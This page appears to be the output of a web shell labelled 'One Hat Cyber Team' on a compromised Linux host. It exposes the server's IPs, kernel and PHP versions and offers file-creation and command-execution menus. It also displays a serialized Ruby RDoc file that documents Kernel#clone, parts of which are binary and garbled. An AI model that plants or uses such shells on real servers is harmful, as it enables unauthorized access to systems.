⚝
One Hat Cyber Team
⚝
Your IP:
216.73.216.133
Server IP:
185.119.109.197
Server:
Linux managedhosting.chostar.me 5.15.0-160-generic #170-Ubuntu SMP Wed Oct 1 10:06:56 UTC 2025 x86_64
Server Software:
Apache
PHP Version:
8.1.33
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
usr
/
share
/
ri
/
3.0.0
/
system
/
Kernel
/
View File Name :
clone-i.ri
U:RDoc::AnyMethod[iI" clone:ETI"Kernel#clone;TF:publico:RDoc::Markup::Document:@parts[ o:RDoc::Markup::Paragraph; [ I"GProduces a shallow copy of
obj
---the instance variables of ;TI"@
obj
are copied, but not the objects they reference. ;TI"D#clone copies the frozen value state of
obj
, unless the ;TI"E+:freeze+ keyword argument is given with a false or true value. ;TI".See also the discussion under Object#dup.;To:RDoc::Markup::BlankLine o:RDoc::Markup::Verbatim; [I"class Klass ;TI" attr_accessor :str ;TI" end ;TI"1s1 = Klass.new #=> #
;TI"%s1.str = "Hello" #=> "Hello" ;TI">s2 = s1.clone #=> #
;TI"!s2.str[1,4] = "i" #=> "i" ;TI"?s1.inspect #=> "#
" ;TI"?s2.inspect #=> "#
" ;T:@format0o; ; [I"@This method may have class-specific behavior. If so, that ;TI"Hbehavior will be documented under the #+initialize_copy+ method of ;TI"the class.;T: @fileI"kernel.rb;T:0@omit_headings_from_table_of_contents_below0I")obj.clone(freeze: nil) -> an_object ;T0[ I"(freeze: nil);T@#FI"Kernel;TcRDoc::NormalModule00